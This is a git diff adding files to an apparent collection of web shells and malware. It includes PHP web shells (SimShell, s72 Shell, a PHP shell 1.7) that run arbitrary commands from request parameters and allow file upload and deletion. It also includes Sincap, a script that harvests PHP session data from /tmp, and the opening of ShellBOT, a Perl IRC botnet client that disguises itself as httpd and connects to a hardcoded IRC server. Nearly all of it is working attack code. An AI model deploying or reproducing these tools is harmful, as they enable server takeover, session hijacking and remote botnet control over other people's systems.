|
||||
}
|
||||
else {
|
||||
echo " ";
|
||||
}
|
||||
echo "
|
||||
</b></font></td>
|
||||
<td width='103' align='center' nowrap>";
|
||||
if (is_file($dir.$file)){
|
||||
if (is_readable($dir.$file)){
|
||||
echo "<a href='?id=fm&fdownload=$dir$file'><span style='text-decoration: none'><font size='2' color='#008000'>download";
|
||||
}else {
|
||||
echo "<font size='1' color='#FF0000'><b>No ReadAble</b>";
|
||||
}
|
||||
}else {
|
||||
echo " ";
|
||||
}
|
||||
echo "
|
||||
</a></font></td>
|
||||
<td width='77' align='center' nowrap>";
|
||||
if (is_file($dir.$file))
|
||||
{
|
||||
if (is_readable($dir.$file)){
|
||||
echo "<a target='_blank' href='?id=fm&fedit=$dir$file'><span style='text-decoration: none'><font color='#FF9933' size='2'>Edit";
|
||||
}else {
|
||||
echo "<font size='1' color='#FF0000'><b>No ReadAble</b>";
|
||||
}
|
||||
}else {
|
||||
echo " ";
|
||||
}
|
||||
echo "
|
||||
</a></font></td>
|
||||
<td width='86' align='center' nowrap>";
|
||||
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
|
||||
echo "<font size='1' color='#999999'>Dont in windows";
|
||||
}
|
||||
else {
|
||||
echo "<a href='?id=fm&fchmod=$dir$file'><span style='text-decoration: none'><font size='2' color='#999999'>Chmod";
|
||||
}
|
||||
echo "</a></font></td>
|
||||
<td width='86'align='center' nowrap><a href='?id=fm&fdelete=$dir$file'><span style='text-decoration: none'><font size='2' color='#FF0000'>Delete</a></font></td>
|
||||
</tr>
|
||||
";
|
||||
}
|
||||
closedir($dh);
|
||||
}
|
||||
}
|
||||
echo "</table>
|
||||
<form enctype='multipart/form-data' action='' method='POST'>
|
||||
<input type='hidden' name='MAX_FILE_SIZE' value='300000' />
|
||||
Send this file: <input name='userfile' type='file' />
|
||||
<inpt type='hidden' name='Fupath' value='$dir'>
|
||||
<input type='submit' value='Send File' />
|
||||
</form>
|
||||
</div>";
|
||||
}
|
||||
//Upload Files
|
||||
$rpath=$_GET['dir'];
|
||||
if ($rpath <> "") {
|
||||
$uploadfile = $rpath."/" . $_FILES['userfile']['name'];
|
||||
print "<pre>";
|
||||
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
|
||||
echo "<script language='javascript'> alert('\:D Successfully uploaded.!')</script>";
|
||||
echo "<script language='javascript'> history.back(2)</script>";
|
||||
}
|
||||
}
|
||||
//file deleted
|
||||
$frpath=$_GET['fdelete'];
|
||||
if ($frpath <> "") {
|
||||
if (is_dir($frpath)){
|
||||
$matches = glob($frpath . '/*.*');
|
||||
if ( is_array ( $matches ) ) {
|
||||
foreach ( $matches as $filename) {
|
||||
unlink ($filename);
|
||||
rmdir("$frpath");
|
||||
echo "<script language='javascript'> alert('Success! Please refresh')</script>";
|
||||
echo "<script language='javascript'> history.back(1)</script>";
|
||||
}
|
||||
}
|
||||
}
|
||||
else{
|
||||
echo "<script language='javascript'> alert('Success! Please refresh')</script>";
|
||||
unlink ("$frpath");
|
||||
echo "<script language='javascript'> history.back(1)</script>";
|
||||
exit(0);
|
||||
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
?>
|
||||
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td style="border: 1px dotted #FFCC66">
|
||||
<p align="center"><font color="#666666" size="1" face="Tahoma"><br>
|
||||
Copyright 2004-Simorgh Security<br>
|
||||
Hossein-Asgari<br>
|
||||
</font><font color="#c0c0c0" size="1" face="Tahoma">
|
||||
<a style="TEXT-DECORATION: none" href="http://www.simorgh-ev.com">
|
||||
<font color="#666666">www.simorgh-ev.com</font></a></font></td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
</body>
|
||||
|
||||
</html>
|
||||
180
138shell/S/SimShell 1.0 - Simorgh Security MGZ.txt
Normal file
180
138shell/S/SimShell 1.0 - Simorgh Security MGZ.txt
Normal file
@@ -0,0 +1,180 @@
|
||||
<?php
|
||||
|
||||
/*Simorgh Security Magazine */
|
||||
session_start();
|
||||
if (empty($_SESSION['cwd']) || !empty($_REQUEST['reset'])) {
|
||||
$_SESSION['cwd'] = getcwd();
|
||||
$_SESSION['history'] = array();
|
||||
$_SESSION['output'] = '';
|
||||
}
|
||||
|
||||
if (!empty($_REQUEST['command'])) {
|
||||
if (get_magic_quotes_gpc()) {
|
||||
$_REQUEST['command'] = stripslashes($_REQUEST['command']);
|
||||
}
|
||||
if (($i = array_search($_REQUEST['command'], $_SESSION['history'])) !== false)
|
||||
unset($_SESSION['history'][$i]);
|
||||
|
||||
array_unshift($_SESSION['history'], $_REQUEST['command']);
|
||||
|
||||
$_SESSION['output'] .= '$ ' . $_REQUEST['command'] . "\n";
|
||||
|
||||
if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_REQUEST['command'])) {
|
||||
$_SESSION['cwd'] = dirname(__FILE__);
|
||||
} elseif (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_REQUEST['command'], $regs)) {
|
||||
|
||||
if ($regs[1][0] == '/') {
|
||||
|
||||
$new_dir = $regs[1];
|
||||
} else {
|
||||
|
||||
$new_dir = $_SESSION['cwd'] . '/' . $regs[1];
|
||||
}
|
||||
|
||||
|
||||
while (strpos($new_dir, '/./') !== false)
|
||||
$new_dir = str_replace('/./', '/', $new_dir);
|
||||
|
||||
|
||||
while (strpos($new_dir, '//') !== false)
|
||||
$new_dir = str_replace('//', '/', $new_dir);
|
||||
|
||||
while (preg_match('|/\.\.(?!\.)|', $new_dir))
|
||||
$new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir);
|
||||
|
||||
if ($new_dir == '') $new_dir = '/';
|
||||
|
||||
|
||||
if (@chdir($new_dir)) {
|
||||
$_SESSION['cwd'] = $new_dir;
|
||||
} else {
|
||||
$_SESSION['output'] .= "cd: could not change to: $new_dir\n";
|
||||
}
|
||||
|
||||
} else {
|
||||
|
||||
chdir($_SESSION['cwd']);
|
||||
|
||||
$length = strcspn($_REQUEST['command'], " \t");
|
||||
$token = substr($_REQUEST['command'], 0, $length);
|
||||
if (isset($aliases[$token]))
|
||||
$_REQUEST['command'] = $aliases[$token] . substr($_REQUEST['command'], $length);
|
||||
|
||||
$p = proc_open($_REQUEST['command'],
|
||||
array(1 => array('pipe', 'w'),
|
||||
2 => array('pipe', 'w')),
|
||||
$io);
|
||||
|
||||
|
||||
while (!feof($io[1])) {
|
||||
$_SESSION['output'] .= htmlspecialchars(fgets($io[1]),
|
||||
ENT_COMPAT, 'UTF-8');
|
||||
}
|
||||
|
||||
while (!feof($io[2])) {
|
||||
$_SESSION['output'] .= htmlspecialchars(fgets($io[2]),
|
||||
ENT_COMPAT, 'UTF-8');
|
||||
}
|
||||
|
||||
fclose($io[1]);
|
||||
fclose($io[2]);
|
||||
proc_close($p);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (empty($_SESSION['history'])) {
|
||||
$js_command_hist = '""';
|
||||
} else {
|
||||
$escaped = array_map('addslashes', $_SESSION['history']);
|
||||
$js_command_hist = '"", "' . implode('", "', $escaped) . '"';
|
||||
}
|
||||
|
||||
|
||||
header('Content-Type: text/html; charset=UTF-8');
|
||||
|
||||
echo '<?xml version="1.0" encoding="UTF-8"?>' . "\n";
|
||||
?>
|
||||
|
||||
<head>
|
||||
<title>SimShell - Simorgh Security MGZ</title>
|
||||
<link rel="stylesheet" href="Simshell.css" type="text/css" />
|
||||
|
||||
<script type="text/javascript" language="JavaScript">
|
||||
var current_line = 0;
|
||||
var command_hist = new Array(<?php echo $js_command_hist ?>);
|
||||
var last = 0;
|
||||
|
||||
function key(e) {
|
||||
if (!e) var e = window.event;
|
||||
|
||||
if (e.keyCode == 38 && current_line < command_hist.length-1) {
|
||||
command_hist[current_line] = document.shell.command.value;
|
||||
current_line++;
|
||||
document.shell.command.value = command_hist[current_line];
|
||||
}
|
||||
|
||||
if (e.keyCode == 40 && current_line > 0) {
|
||||
command_hist[current_line] = document.shell.command.value;
|
||||
current_line--;
|
||||
document.shell.command.value = command_hist[current_line];
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
function init() {
|
||||
document.shell.setAttribute("autocomplete", "off");
|
||||
document.shell.output.scrollTop = document.shell.output.scrollHeight;
|
||||
document.shell.command.focus();
|
||||
}
|
||||
|
||||
</script>
|
||||
</head>
|
||||
|
||||
<body onload="init()" style="color: #00FF00; background-color: #000000">
|
||||
|
||||
<span style="background-color: #000000">
|
||||
|
||||
|
||||
|
||||
</body>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
|
||||
|
||||
|
||||
</span>
|
||||
|
||||
|
||||
|
||||
<p><span style="background-color: #000000"> Directory: </span> <code>
|
||||
<span style="background-color: #000000"><?php echo $_SESSION['cwd'] ?></span></code></p>
|
||||
|
||||
<form name="shell" action="<?php echo $_SERVER['PHP_SELF'] ?>" method="post">
|
||||
<div style="width: 900; height: 454">
|
||||
<textarea name="output" readonly="readonly" cols="120" rows="20" style="color: #CCFF33; border: 1px dashed #FF0000; background-color: #000000">
|
||||
<?php
|
||||
$lines = substr_count($_SESSION['output'], "\n");
|
||||
$padding = str_repeat("\n", max(0, $_REQUEST['rows']+1 - $lines));
|
||||
echo rtrim($padding . $_SESSION['output']);
|
||||
?>
|
||||
</textarea>
|
||||
<p class="prompt" align="justify">
|
||||
cmd:<input class="prompt" name="command" type="text"
|
||||
onkeyup="key(event)" size="60" tabindex="1" style="border: 1px dotted #808080">
|
||||
<input type="submit" value="Enter" /><input type="submit" name="reset" value="Reset" /> Rows:
|
||||
<input type="text" name="rows" value="<?php echo $_REQUEST['rows'] ?>" size="5" />
|
||||
</p>
|
||||
<p class="prompt" align="center">
|
||||
<br>
|
||||
<br>
|
||||
<font color="#C0C0C0" size="2">Copyright 2004-Simorgh Security<br>
|
||||
Make On PhpShell Kernel<br>
|
||||
<a href="http://www.simorgh-ev.com" style="text-decoration: none">
|
||||
<font color="#C0C0C0">www.simorgh-ev.com</font></a></font></p>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
|
||||
</html>
|
||||
124
138shell/S/Sincap.php.txt
Normal file
124
138shell/S/Sincap.php.txt
Normal file
@@ -0,0 +1,124 @@
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<meta http-equiv="Content-Language" content="tr">
|
||||
<meta name="GENERATOR" content="Microsoft FrontPage 6.0">
|
||||
<meta name="ProgId" content="FrontPage.Editor.Document">
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
|
||||
<title>:: AventGrup ::.. - Sincap 1.0 | Session(Oturum) B<>ce<63>i </title>
|
||||
</head>
|
||||
|
||||
<body text="#008000" bgcolor="#808080" topmargin="0" leftmargin="0" rightmargin="0" bottommargin="0" marginwidth="0" marginheight="0">
|
||||
|
||||
<table border="0" width="100%" id="table1" cellspacing="0" cellpadding="0" height="108">
|
||||
<tr>
|
||||
<td width="70" bgcolor="#000000" height="83">
|
||||
<p align="center">
|
||||
<img border="0" src="http://www.aventgrup.net/avlog.gif"></td>
|
||||
<td width="501" bgcolor="#000000" height="83" valign="top">
|
||||
<font face="Verdana" style="font-size: 8pt" color="#B7B7B7">
|
||||
<span style="font-weight: 700">
|
||||
<br>
|
||||
AventGrup<75><br>
|
||||
</span>Avrasya Veri ve NetWork Teknolojileri Geli<6C>tirme Grubu<br>
|
||||
<span style="font-weight: 700">
|
||||
<br>
|
||||
Sincap 1.0</span></font></td>
|
||||
<td width="431" bgcolor="#000000" height="83" valign="top">
|
||||
<p align="right"><span style="font-weight: 700">
|
||||
<font face="Verdana" color="#858585" style="font-size: 2pt"><br>
|
||||
<br>
|
||||
</font><br>
|
||||
<font color="#858585" face="Verdana" style="font-size: 8pt">www.aventgrup.net <br>
|
||||
</font></span><a href="mailto:shopen@aventgrup.net">
|
||||
<font face="Verdana" style="font-size: 8pt; text-decoration: none" color="#C0C0C0">
|
||||
info@aventgrup.net</font></a><font face="Verdana" style="font-size: 8pt" color="#858585"> </font></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td width="1002" bgcolor="#484848" height="25" colspan="3">
|
||||
<font color="#E5E5E5" style="font-size: 8pt; font-weight: 700" face="Arial">
|
||||
Linux Sessin ( Oturum ) B<>ce<63>i</font></td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#800000" width="100%" id="AutoNumber1">
|
||||
<tr>
|
||||
<td width="8%" bgcolor="#B6B6B6">
|
||||
<font face="Verdana" style="font-size: 8pt; font-weight: 700" color="#000000"> S.
|
||||
No</font></td>
|
||||
<td width="25%" bgcolor="#B6B6B6">
|
||||
<font face="Verdana" style="font-size: 8pt; font-weight: 700" color="#000000"> Oturum
|
||||
Ad<41></font></td>
|
||||
<td width="42%" bgcolor="#B6B6B6">
|
||||
<font face="Verdana" style="font-size: 8pt; font-weight: 700" color="#000000"> Oturum
|
||||
De<44>eri</font></td>
|
||||
<td width="25%" bgcolor="#B6B6B6">
|
||||
<font face="Verdana" style="font-size: 8pt; font-weight: 700" color="#000000"> Referans</font></td>
|
||||
</tr>
|
||||
<tr>
|
||||
|
||||
|
||||
<?
|
||||
if ($sedat=@opendir("/tmp")){
|
||||
while (($ekinci=readdir ($sedat))){
|
||||
if (is_file("/tmp/$ekinci")){
|
||||
if($ekinci>"sess_"){
|
||||
$asortik=$ekinci;
|
||||
$baglan=fopen("/tmp/$ekinci",'r');
|
||||
while(! feof ( $baglan ) ){
|
||||
$okunan=fgets($baglan,1024);
|
||||
$toplam="$toplam$okunan";
|
||||
} fclose($baglan);
|
||||
};
|
||||
?>
|
||||
|
||||
|
||||
|
||||
<?
|
||||
}}}
|
||||
closedir($sedat);
|
||||
?>
|
||||
|
||||
<?
|
||||
$metin=$toplam;
|
||||
$i=explode(";",$metin);
|
||||
?>
|
||||
|
||||
|
||||
|
||||
|
||||
<?
|
||||
foreach($i as $yeni){
|
||||
$tampon=explode("|",$yeni);
|
||||
$deger1= "$tampon[0]";
|
||||
$ich=explode(":",$tampon[1]);
|
||||
$tampon3=count($ich);
|
||||
$tampon4=$tampon3-1;
|
||||
$deger2= "$ich[$tampon4]";
|
||||
$is++;
|
||||
$temizleme=array(
|
||||
'"'=>'',
|
||||
'v'=>'',
|
||||
'c'=>''
|
||||
);
|
||||
$degerT= strtr($deger2,$temizleme);
|
||||
?>
|
||||
<td width="8%" bgcolor="#E5E5E5" align="left" valign="top">
|
||||
<font face="Verdana" style="font-size: 8pt" color="#000000"> <?echo $is;?></font></td>
|
||||
<td width="25%" bgcolor="#E5E5E5" align="left" valign="top">
|
||||
<font face="Verdana" style="font-size: 8pt" color="#000000"> <?echo $deger1;?></font></td>
|
||||
<td width="42%" bgcolor="#E5E5E5" align="left" valign="top">
|
||||
<font face="Verdana" style="font-size: 8pt" color="#000000"> <?echo $degerT;?></font></td>
|
||||
<td width="25%" bgcolor="#E5E5E5" align="left" valign="top">
|
||||
<font face="Verdana" style="font-size: 8pt" color="#000000"> -</td>
|
||||
|
||||
</tr>
|
||||
<?};?>
|
||||
|
||||
</table>
|
||||
|
||||
</body>
|
||||
|
||||
</html>
|
||||
|
||||
|
||||
2246
138shell/S/SnIpEr_SA Shell.txt
Normal file
2246
138shell/S/SnIpEr_SA Shell.txt
Normal file
File diff suppressed because it is too large
Load Diff
1887
138shell/S/s.php.txt
Normal file
1887
138shell/S/s.php.txt
Normal file
File diff suppressed because it is too large
Load Diff
141
138shell/S/s72 Shell v1.1 Coding.txt
Normal file
141
138shell/S/s72 Shell v1.1 Coding.txt
Normal file
@@ -0,0 +1,141 @@
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<meta http-equiv="Content-Language" content="tr">
|
||||
<meta name="GENERATOR" content="Microsoft FrontPage 5.0">
|
||||
<meta name="ProgId" content="FrontPage.Editor.Document">
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
|
||||
<title>s72 Shell v1.0 Codinf by Cr@zy_King</title>
|
||||
<meta name="Microsoft Theme" content="refined 011">
|
||||
</head>
|
||||
|
||||
<body background="refbgd2.gif" bgcolor="#000000" text="#FFFFFF" link="#666699" vlink="#999999" alink="#999900">
|
||||
|
||||
<!--mstheme--><font face="Times New Roman">
|
||||
|
||||
<p><font face="Comic Sans MS" color="#FF0000"><b> </b>s72 Shell v1.1 Coding by <a href="mailto:crazy_king@turkusev.net">
|
||||
<font color="#00FF00">Cr@zy_King </font>
|
||||
</a> </font></p>
|
||||
|
||||
<p>
|
||||
<font color="#FF0000"><b><font face="Comic Sans MS" size="1"> [
|
||||
Server Bilgileri ]</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td width="49%" height="142">
|
||||
</font></b></font>
|
||||
</p>
|
||||
<p align="center">
|
||||
<font color="#800080"><b><font face="Verdana" style="font-size: 8pt">
|
||||
Dizin</font></b></font><font face="Verdana" style="font-size: 8pt"><font color="#800080"><b>:</b> <? echo $_SERVER['DOCUMENT_ROOT']; ?>
|
||||
<br />
|
||||
<b>Shell Dizini:</b> <? echo $SCRIPT_FILENAME ?>
|
||||
<br>
|
||||
</font></font><p align="center"><form method="post">
|
||||
<p align="center">
|
||||
<font color="#800080">
|
||||
<br>
|
||||
</font><font face="Verdana" style="font-size: 8pt" color="#800080">Buraya
|
||||
Kodunuzu Yaz<61>n :)</font><font color="#111111"><br>
|
||||
<br>
|
||||
</font>
|
||||
<font color="#FF0000">
|
||||
<textarea size="70" name="command" rows="2" cols="43" ></textarea> <br>
|
||||
<br><input type="submit" value="<22>al<61><6C>t<EFBFBD>r!"></font><font color="#FF0000"><br>
|
||||
<br></font></p>
|
||||
</form>
|
||||
<p align="center">
|
||||
<font color="#FF0000">
|
||||
<textarea readonly size="1" rows="7" cols="53"><?php @$output = system($_POST['command']); ?></textarea></font><p align="center">
|
||||
<p align="center">
|
||||
<font color="#FF0000">
|
||||
<td width="49%" height="24" bgcolor="#FCFEBA">
|
||||
</font>
|
||||
<p align="center"><font color="#FF0000"><b>
|
||||
<font face="Comic Sans MS" size="1">[ Diziler -_- Dizinler ]</td>
|
||||
<td width="51%" height="24" bgcolor="#FCFEBA">
|
||||
</font></b></font>
|
||||
<form method="post">
|
||||
<p align="center">
|
||||
<font face="Verdana" style="font-size: 11pt">
|
||||
<?
|
||||
$folder=opendir('./');
|
||||
while ($file = readdir($folder)) {
|
||||
if($file != "." && $file != "..")
|
||||
echo '<a target="_blank" href="'.$file.'">'.$file.'</a ><br>';
|
||||
}
|
||||
closedir($folder);
|
||||
?></p>
|
||||
</form>
|
||||
<p align="center">
|
||||
<br>
|
||||
<b><font face="Comic Sans MS" size="1" color="#FF0000">[ Upload ]</font></b></font><font face="Comic Sans MS" size="1"><b><font color="#FF0000"></td></font></b></font><form enctype="multipart/form-data" method="post">
|
||||
<p align="center"><br>
|
||||
<br>
|
||||
<font face="Verdana" style="font-size: 8pt" color="#800080">Buradan Dosya Upload Edebilirsiniz.</font><br>
|
||||
<br>
|
||||
<input type="file" name="file" size="20"><br>
|
||||
<br>
|
||||
<font style="font-size: 5pt"> </font><br>
|
||||
<input type="submit" value="Y<>kle!"> <br>
|
||||
</p>
|
||||
</form>
|
||||
<?php
|
||||
|
||||
function check_file()
|
||||
{
|
||||
global $file_name, $filename;
|
||||
$backupstring = "copy_of_";
|
||||
$filename = $backupstring."$filename";
|
||||
|
||||
if( file_exists($filename))
|
||||
{
|
||||
check_file();
|
||||
}
|
||||
}
|
||||
|
||||
if(!empty($file))
|
||||
{
|
||||
$filename = $file_name;
|
||||
if( file_exists($file_name))
|
||||
{
|
||||
check_file();
|
||||
echo "<p align=center>Dosya Zaten Bulunuyor</p>";
|
||||
}
|
||||
|
||||
else
|
||||
{
|
||||
copy($file,"$filename");
|
||||
if( file_exists($filename))
|
||||
{
|
||||
echo "<p align=center>Dosya Ba<42>ar<61>l<EFBFBD> Bir <20>ekilde Y<>klendi</p>";
|
||||
}
|
||||
elseif(! file_exists($filename))
|
||||
{
|
||||
echo "<p align=center>Dosya Bulunamad<61></p>";
|
||||
}
|
||||
}
|
||||
}
|
||||
?>
|
||||
<font face="Verdana" style="font-size: 8pt">
|
||||
<p align=\"center\"></font>
|
||||
</td>
|
||||
<font color="#111111">
|
||||
<br>
|
||||
<br>
|
||||
<br /><br /> </font>
|
||||
<?php
|
||||
// Check for Safe Mode
|
||||
if( ini_get('safe_mode') ) {
|
||||
print '<font color=#FF0000><b>G<>venlik A<><41>k</b></font>';
|
||||
} else {
|
||||
print '<font color=#008000><b>G<>venlik Kapal<61></b></font>';
|
||||
}
|
||||
|
||||
?>
|
||||
|
||||
<!--mstheme--></font>
|
||||
|
||||
</body>
|
||||
|
||||
</html>
|
||||
146
138shell/S/shell.php.txt
Normal file
146
138shell/S/shell.php.txt
Normal file
@@ -0,0 +1,146 @@
|
||||
<?php
|
||||
|
||||
define('PHPSHELL_VERSION', '1.7');
|
||||
|
||||
?>
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title> Matamu Mat </title>
|
||||
</head>
|
||||
<body>
|
||||
<hr><br>
|
||||
|
||||
<?php
|
||||
|
||||
if (ini_get('register_globals') != '1') {
|
||||
/* We'll register the variables as globals: */
|
||||
if (!empty($HTTP_POST_VARS))
|
||||
extract($HTTP_POST_VARS);
|
||||
|
||||
if (!empty($HTTP_GET_VARS))
|
||||
extract($HTTP_GET_VARS);
|
||||
|
||||
if (!empty($HTTP_SERVER_VARS))
|
||||
extract($HTTP_SERVER_VARS);
|
||||
}
|
||||
|
||||
/* First we check if there has been asked for a working directory. */
|
||||
if (!empty($work_dir)) {
|
||||
/* A workdir has been asked for */
|
||||
if (!empty($command)) {
|
||||
if (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $command, $regs)) {
|
||||
/* We try and match a cd command. */
|
||||
if ($regs[1][0] == '/') {
|
||||
$new_dir = $regs[1]; // 'cd /something/...'
|
||||
} else {
|
||||
$new_dir = $work_dir . '/' . $regs[1]; // 'cd somedir/...'
|
||||
}
|
||||
if (file_exists($new_dir) && is_dir($new_dir)) {
|
||||
$work_dir = $new_dir;
|
||||
}
|
||||
unset($command);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (file_exists($work_dir) && is_dir($work_dir)) {
|
||||
/* We change directory to that dir: */
|
||||
chdir($work_dir);
|
||||
}
|
||||
|
||||
/* We now update $work_dir to avoid things like '/foo/../bar': */
|
||||
$work_dir = exec('pwd');
|
||||
|
||||
?>
|
||||
|
||||
<form name="myform" action="<?php echo $PHP_SELF ?>" method="post">
|
||||
<p>Current working directory: <b>
|
||||
<?php
|
||||
|
||||
$work_dir_splitted = explode('/', substr($work_dir, 1));
|
||||
|
||||
echo '<a href="' . $PHP_SELF . '?work_dir=/">Root</a>/';
|
||||
|
||||
if (!empty($work_dir_splitted[0])) {
|
||||
$path = '';
|
||||
for ($i = 0; $i < count($work_dir_splitted); $i++) {
|
||||
$path .= '/' . $work_dir_splitted[$i];
|
||||
printf('<a href="%s?work_dir=%s">%s</a>/',
|
||||
$PHP_SELF, urlencode($path), $work_dir_splitted[$i]);
|
||||
}
|
||||
}
|
||||
|
||||
?></b></p>
|
||||
<p>Choose new working directory:
|
||||
<select name="work_dir" onChange="this.form.submit()">
|
||||
<?php
|
||||
/* Now we make a list of the directories. */
|
||||
$dir_handle = opendir($work_dir);
|
||||
/* Run through all the files and directories to find the dirs. */
|
||||
while ($dir = readdir($dir_handle)) {
|
||||
if (is_dir($dir)) {
|
||||
if ($dir == '.') {
|
||||
echo "<option value=\"$work_dir\" selected>Current Directory</option>\n";
|
||||
} elseif ($dir == '..') {
|
||||
/* We have found the parent dir. We must be carefull if the parent
|
||||
directory is the root directory (/). */
|
||||
if (strlen($work_dir) == 1) {
|
||||
/* work_dir is only 1 charecter - it can only be / There's no
|
||||
parent directory then. */
|
||||
} elseif (strrpos($work_dir, '/') == 0) {
|
||||
/* The last / in work_dir were the first charecter.
|
||||
This means that we have a top-level directory
|
||||
eg. /bin or /home etc... */
|
||||
echo "<option value=\"/\">Parent Directory</option>\n";
|
||||
} else {
|
||||
/* We do a little bit of string-manipulation to find the parent
|
||||
directory... Trust me - it works :-) */
|
||||
echo "<option value=\"". strrev(substr(strstr(strrev($work_dir), "/"), 1)) ."\">Parent Directory</option>\n";
|
||||
}
|
||||
} else {
|
||||
if ($work_dir == '/') {
|
||||
echo "<option value=\"$work_dir$dir\">$dir</option>\n";
|
||||
} else {
|
||||
echo "<option value=\"$work_dir/$dir\">$dir</option>\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
closedir($dir_handle);
|
||||
|
||||
?>
|
||||
|
||||
</select></p>
|
||||
|
||||
<p>Command: <input type="text" name="command" size="60">
|
||||
<input name="submit_btn" type="submit" value="Execute Command"></p>
|
||||
|
||||
<p>Enable <code>stderr</code>-trapping? <input type="checkbox" name="stderr"></p>
|
||||
<textarea cols="80" rows="20" readonly>
|
||||
|
||||
<?php
|
||||
if (!empty($command)) {
|
||||
if ($stderr) {
|
||||
$tmpfile = tempnam('/tmp', 'phpshell');
|
||||
$command .= " 1> $tmpfile 2>&1; " .
|
||||
"cat $tmpfile; rm $tmpfile";
|
||||
} else if ($command == 'ls') {
|
||||
/* ls looks much better with ' -F', IMHO. */
|
||||
$command .= ' -F';
|
||||
}
|
||||
system($command);
|
||||
}
|
||||
?>
|
||||
|
||||
</textarea>
|
||||
</form>
|
||||
|
||||
<script language="JavaScript" type="text/javascript">
|
||||
document.forms[0].command.focus();
|
||||
</script>
|
||||
|
||||
<hr>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
704
138shell/S/shellbot.pl.txt
Normal file
704
138shell/S/shellbot.pl.txt
Normal file
@@ -0,0 +1,704 @@
|
||||
#!/usr/bin/perl#
|
||||
###############################################################################################
|
||||
# ShellBOT - PacktsGr0up # # ____ _ _ #
|
||||
# | _ \ __ _ ___ | | __ ___ | |_ ___ #
|
||||
# | |_) |/ _` | / __|| |/ // _ \| __|/ __| #
|
||||
# | __/| (_| || (__ | <| __/| |_ \__ \ m?e te amo!! #
|
||||
# |_| _\__,_| \___||_|\_\\___| \__||___/ #
|
||||
# / ___| _ __ ___ _ _ _ __ #
|
||||
# | | _ | '__|/ _ \ | | | || '_ \ #
|
||||
# | |_| || | | (_) || |_| || |_) | #
|
||||
# \____||_| \___/ \__,_|| .__/ #
|
||||
# |_| #
|
||||
# #
|
||||
# Staff: Danilo #
|
||||
# #
|
||||
#adm: Danilo #
|
||||
###################################### CONFIGURACAO ###########################################
|
||||
my $processo = '/usr/local/apache/bin/httpd -DSSL'; # Nome do processo que vai aparece no ps #
|
||||
#----------------------------------------------################################################
|
||||
my $linas_max='5'; # Evita o flood :) depois de X linhas #
|
||||
#----------------------------------------------################################################
|
||||
my $sleep='10'; # ele dorme X segundos #
|
||||
########################################## IRC ################################################
|
||||
my @adms=("NOD32"); # Nick do administrador #
|
||||
#----------------------------------------------################################################
|
||||
my @canais=("#SSH :2007"); # Caso haja senha ("#hdr :hax0r") #
|
||||
#----------------------------------------------################################################
|
||||
my $nick='SSH-'; # Nick do bot. Caso esteja em uso vai aparecer #
|
||||
# aparecer com numero radonamico no final #
|
||||
#----------------------------------------------################################################
|
||||
my $ircname = 'SSH'; # User ID #
|
||||
#----------------------------------------------################################################
|
||||
chop (my $realname = `id`); # Full Name #
|
||||
#----------------------------------------------################################################
|
||||
$servidor='208.98.16.20' unless $servidor; # Servidor de irc que vai ser usado # # caso n?o seja especificado no argumento # #----------------------------------------------################################################
|
||||
my $porta='9001'; # Porta do servidor de irc #
|
||||
################ ACESSO A SHELL ###############################################################
|
||||
my $secv = 1; # 1/0 pra habilita/desabilita acesso a shell #
|
||||
###############################################################################################
|
||||
|
||||
my $VERSAO = '0.2';
|
||||
|
||||
$SIG{'INT'} = 'IGNORE';
|
||||
$SIG{'HUP'} = 'IGNORE';
|
||||
$SIG{'TERM'} = 'IGNORE';
|
||||
$SIG{'CHLD'} = 'IGNORE';
|
||||
$SIG{'PS'} = 'IGNORE';
|
||||
|
||||
use IO::Socket;
|
||||
use Socket;
|
||||
use IO::Select;
|
||||
chdir("/");
|
||||
$servidor="$ARGV[0]" if $ARGV[0];
|
||||
$0="$processo"."\0"x16;;
|
||||
my $pid=fork;
|
||||
exit if $pid;
|
||||
die "Problema com o fork: $!" unless defined($pid);
|
||||
|
||||
|
||||
|
||||
our %irc_servers;
|
||||
our %DCC;
|
||||
my $dcc_sel = new IO::Select->new();
|
||||
|
||||
########################################################################
|
||||
# Packets<74>Group CoRpOrAtIoN<6F> - conquistaremos o mundo sem sair de casa!#
|
||||
########################################################################
|
||||
#BotNet Na Veia :P #
|
||||
####################
|
||||
|
||||
$sel_cliente = IO::Select->new();
|
||||
sub sendraw {
|
||||
if ($#_ == '1') {
|
||||
my $socket = $_[0];
|
||||
print $socket "$_[1]\n";
|
||||
} else {
|
||||
print $IRC_cur_socket "$_[0]\n";
|
||||
}
|
||||
}
|
||||
|
||||
sub conectar {
|
||||
my $meunick = $_[0];
|
||||
my $servidor_con = $_[1];
|
||||
my $porta_con = $_[2];
|
||||
|
||||
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
|
||||
if (defined($IRC_socket)) {
|
||||
$IRC_cur_socket = $IRC_socket;
|
||||
|
||||
$IRC_socket->autoflush(1);
|
||||
$sel_cliente->add($IRC_socket);
|
||||
|
||||
$irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
|
||||
$irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
|
||||
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
|
||||
